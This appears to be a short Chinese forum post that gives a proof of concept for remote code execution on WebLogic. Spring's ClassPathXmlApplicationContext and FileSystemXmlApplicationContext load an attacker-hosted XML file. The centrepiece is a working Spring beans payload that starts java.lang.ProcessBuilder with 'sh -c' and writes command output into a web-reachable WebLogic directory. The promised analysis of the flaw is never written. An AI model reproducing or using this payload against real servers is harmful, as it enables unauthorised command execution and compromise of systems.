POC如下:
除了FileSystemXmlApplicationContext这个类,还有com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext这个类跟他作用一样。
都是AbstractXmlApplicationContext类的子类,其中的FileSystemXmlApplicationContext和ClassPathXmlApplicationContext类可以用于加载spring的配置文件,利用spring的依赖注入同样可以完成RCE的利用。
写入恶意远程地址
写入shell的xml这样写:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
[url]http://www.springframework.org/schema/beans[/url] [url]http://www.springframework.org/schema/beans/spring-beans.xsd[/url]">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>sh</value>
<value>-c</value>
<value><![CDATA[whoami > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/favicon.ico]]></value>
</list>
</constructor-arg>
</bean>
</beans>
漏洞分析先留个坑,有空在写出来